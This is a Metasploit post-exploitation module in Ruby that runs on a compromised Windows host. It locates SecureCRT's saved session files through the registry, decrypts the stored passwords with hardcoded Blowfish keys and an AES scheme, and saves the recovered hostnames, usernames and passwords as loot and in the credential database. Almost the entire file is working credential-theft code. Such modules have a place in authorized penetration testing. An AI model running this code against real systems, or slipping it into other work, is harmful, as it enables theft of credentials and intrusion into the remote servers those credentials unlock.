242 lines
9.4 KiB
Ruby
242 lines
9.4 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::File
|
|
include Msf::Post::Windows::Registry
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows SecureCRT Session Information Enumeration',
|
|
'Description' => %q{
|
|
This module will determine if SecureCRT is installed on the target system and, if it is, it will try to
|
|
dump all saved session information from the target. The passwords for these saved sessions will then be decrypted
|
|
where possible, using the decryption information that HyperSine reverse engineered.
|
|
|
|
Note that whilst SecureCRT has installers for Linux, Mac and Windows, this module presently only works on Windows.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
[ 'URL', 'https://github.com/HyperSine/how-does-SecureCRT-encrypt-password/blob/master/doc/how-does-SecureCRT-encrypt-password.md']
|
|
],
|
|
'Author' => [
|
|
'HyperSine', # Original author of the SecureCRT session decryption script and one who found the encryption keys.
|
|
'Kali-Team <kali-team[at]qq.com>' # Metasploit module
|
|
],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ],
|
|
'Notes' => {
|
|
'Reliability' => [],
|
|
'Stability' => [],
|
|
'SideEffects' => [ IOC_IN_LOGS ]
|
|
},
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
stdapi_fs_search
|
|
stdapi_fs_separator
|
|
]
|
|
}
|
|
}
|
|
)
|
|
)
|
|
register_options(
|
|
[
|
|
OptString.new('PASSPHRASE', [ false, 'The configuration password that was set when SecureCRT was installed, if one was supplied']),
|
|
OptString.new('SESSION_PATH', [ false, 'Specifies the session directory path for SecureCRT']),
|
|
]
|
|
)
|
|
end
|
|
|
|
def blowfish_decrypt(secret_key, text)
|
|
cipher = OpenSSL::Cipher.new('bf-cbc').decrypt
|
|
cipher.padding = 0
|
|
cipher.key_len = secret_key.length
|
|
cipher.key = secret_key
|
|
cipher.iv = "\x00" * 8
|
|
cipher.update(text) + cipher.final
|
|
end
|
|
|
|
def try_encode_file(data)
|
|
if data[0].unpack('C') == [255] && data[1].unpack('C') == [254]
|
|
data[2..].force_encoding('UTF-16LE').encode('UTF-8')
|
|
elsif data[0].unpack('C') == [254] && data[1].unpack('C') == [187] && data[2].unpack('C') == [191]
|
|
data
|
|
elsif data[0].unpack('C') == [254] && data[1].unpack('C') == [255]
|
|
data[2..].force_encoding('UTF-16BE').encode('UTF-8')
|
|
else
|
|
data
|
|
end
|
|
end
|
|
|
|
def enum_session_file(path)
|
|
config_ini = []
|
|
tbl = []
|
|
begin
|
|
print_status("Searching for session files in #{path}")
|
|
config_ini += session.fs.file.search(path, '*.ini')
|
|
fail_with(Failure::BadConfig, "Couldn't find any session files at #{path}") if config_ini.empty?
|
|
rescue Rex::Post::Meterpreter::RequestError
|
|
fail_with(Failure::BadConfig, "The SecureCRT registry key on the target is likely misconfigured. The directory at #{path} is inaccessable or doesn't exist")
|
|
end
|
|
|
|
# enum session file
|
|
config_ini.each do |item|
|
|
file_name = item['path'] + session.fs.file.separator + item['name']
|
|
file_contents = read_file(file_name) if !['__FolderData__.ini', 'Default.ini'].include?(item['name'])
|
|
if file_contents.nil? || file_contents.empty?
|
|
next
|
|
end
|
|
|
|
file = try_encode_file(file_contents).force_encoding(Encoding::UTF_8)
|
|
protocol = file[/"Protocol Name"=(?<protocol>[^\s]+)/u, 'protocol']
|
|
hostname = file[/"Hostname"=(?<hostname>[^\s]+)/u, 'hostname']
|
|
decrypted_script = securecrt_crypto_v2(file[/"Login Script V3"=02:(?<script>[0-9a-f]+)/u, 'script'])
|
|
if !decrypted_script.nil?
|
|
username = decrypted_script[/l*ogin(?: name)?:\x1F(?<login>\S+)\x1F(?:\d)\x1Fp*ass/u, 'login']
|
|
password = decrypted_script[/p*assword:\x1F(?<password>\S+)\x1F/u, 'password']
|
|
domain = decrypted_script[/[Ww]*indows [Dd]*omain:\x1F(?<domain>\S+)\x1F/u, 'domain']
|
|
if !domain.nil? && !username.nil?
|
|
username = "#{domain}\\#{username}"
|
|
end
|
|
else
|
|
password = securecrt_crypto(file[/"Password"=u(?<password>[0-9a-f]+)/u, 'password'])
|
|
passwordv2 = securecrt_crypto_v2(file[/"Password V2"=02:(?<passwordv2>[0-9a-f]+)/, 'passwordv2'])
|
|
username = file[/"Username"=(?<username>[^\s]+)/, 'username']
|
|
end
|
|
|
|
port = file[/#{protocol}\r\n\w:"Port"=(?<port>[0-9a-f]{8})/, 'port']&.to_i(16)&.to_s
|
|
port = file[/\[#{protocol}\] Port"=(?<port>[0-9a-f]{8})/, 'port']&.to_i(16)&.to_s if port.nil?
|
|
|
|
tbl << {
|
|
file_name: item['name'],
|
|
protocol: protocol.nil? ? protocol : protocol.downcase,
|
|
hostname: hostname,
|
|
port: port,
|
|
username: username,
|
|
password: password || passwordv2
|
|
}
|
|
end
|
|
return tbl
|
|
end
|
|
|
|
def securecrt_crypto(ciphertext)
|
|
return nil if ciphertext.nil? || ciphertext.empty?
|
|
|
|
key1 = "\x24\xA6\x3D\xDE\x5B\xD3\xB3\x82\x9C\x7E\x06\xF4\x08\x16\xAA\x07"
|
|
key2 = "\x5F\xB0\x45\xA2\x94\x17\xD9\x16\xC6\xC6\xA2\xFF\x06\x41\x82\xB7"
|
|
ciphered_bytes = [ciphertext].pack('H*')
|
|
cipher_tmp = blowfish_decrypt(key1, ciphered_bytes)[4..-5]
|
|
padded_plain_bytes = blowfish_decrypt(key2, cipher_tmp)
|
|
(0..padded_plain_bytes.length).step(2) do |i|
|
|
if (padded_plain_bytes[i] == "\x00" && padded_plain_bytes[i + 1] == "\x00")
|
|
return padded_plain_bytes[0..i - 1].force_encoding('UTF-16LE').encode('UTF-8')
|
|
end
|
|
end
|
|
print_warning('It was not possible to decode one of the v1 passwords successfully, please double check the results!')
|
|
return nil # We didn't decode the password successfully, so just return nil.
|
|
end
|
|
|
|
def securecrt_crypto_v2(ciphertext)
|
|
return nil if ciphertext.nil? || ciphertext.empty?
|
|
|
|
iv = ("\x00" * 16)
|
|
config_passphrase = datastore['PASSPHRASE'] || nil
|
|
key = OpenSSL::Digest::SHA256.new(config_passphrase).digest
|
|
aes = OpenSSL::Cipher.new('AES-256-CBC')
|
|
aes.decrypt
|
|
aes.key = key
|
|
aes.padding = 0
|
|
aes.iv = iv
|
|
padded_plain_bytes = aes.update([ciphertext].pack('H*'))
|
|
plain_bytes_length = padded_plain_bytes[0, 4].unpack1('l') # bytes to int little-endian format.
|
|
plain_bytes = padded_plain_bytes[4, plain_bytes_length]
|
|
plain_bytes_digest = padded_plain_bytes[4 + plain_bytes_length, 32]
|
|
if (OpenSSL::Digest::SHA256.new(plain_bytes).digest == plain_bytes_digest) # verify
|
|
return plain_bytes.force_encoding('UTF-8')
|
|
end
|
|
|
|
print_warning('It seems the user set a configuration password when installing SecureCRT!')
|
|
print_warning('If you know the configuration password, please provide it via the PASSPHRASE option and then run the module again.')
|
|
return nil
|
|
end
|
|
|
|
def securecrt_store_config(config)
|
|
if config[:hostname].to_s.empty? || config[:service_name].to_s.empty? || config[:port].to_s.empty? || config[:username].to_s.empty? || config[:password].nil?
|
|
return # If any of these fields are nil or are empty (with the exception of the password field which can be empty),
|
|
# then we shouldn't proceed, as we don't have enough info to store a credential which someone could actually
|
|
# use against a target.
|
|
end
|
|
|
|
service_data = {
|
|
address: config[:hostname],
|
|
port: config[:port],
|
|
service_name: config[:service_name],
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
origin_type: :session,
|
|
session_id: session_db_id,
|
|
post_reference_name: refname,
|
|
private_type: :password,
|
|
private_data: config[:password],
|
|
username: config[:username],
|
|
status: Metasploit::Model::Login::Status::UNTRIED
|
|
}.merge(service_data)
|
|
create_credential_and_login(credential_data)
|
|
end
|
|
|
|
def run
|
|
print_status("Gathering SecureCRT session information from #{sysinfo['Computer']}")
|
|
securecrt_path = ''
|
|
if datastore['SESSION_PATH'].to_s.empty?
|
|
parent_key = 'HKEY_CURRENT_USER\\Software\\VanDyke\\SecureCRT'
|
|
# get session file path
|
|
root_path = registry_getvaldata(parent_key, 'Config Path')
|
|
securecrt_path = expand_path("#{root_path}#{session.fs.file.separator}Sessions") if !root_path.to_s.empty?
|
|
else
|
|
securecrt_path = expand_path(datastore['SESSION_PATH'])
|
|
end
|
|
|
|
if securecrt_path.to_s.empty?
|
|
fail_with(Failure::NotFound, 'Could not find the registry entry for the SecureCRT session path. Ensure that SecureCRT is installed on the target.')
|
|
else
|
|
result = enum_session_file(securecrt_path)
|
|
columns = [
|
|
'Filename',
|
|
'Protocol',
|
|
'Hostname',
|
|
'Port',
|
|
'Username',
|
|
'Password',
|
|
]
|
|
tbl = Rex::Text::Table.new(
|
|
'Header' => 'SecureCRT Sessions',
|
|
'Columns' => columns
|
|
)
|
|
result.each do |item|
|
|
tbl << item.values
|
|
config = {
|
|
file_name: item[:file_name],
|
|
hostname: item[:hostname],
|
|
service_name: item[:protocol],
|
|
port: item[:port].nil? ? '' : item[:port].to_i,
|
|
username: item[:username],
|
|
password: item[:password]
|
|
}
|
|
securecrt_store_config(config)
|
|
end
|
|
print_line(tbl.to_s)
|
|
if tbl.rows.count
|
|
path = store_loot('host.securecrt_sessions', 'text/plain', session, tbl, 'securecrt_sessions.txt', 'SecureCRT Sessions')
|
|
print_good("Session info stored in: #{path}")
|
|
end
|
|
end
|
|
end
|
|
end
|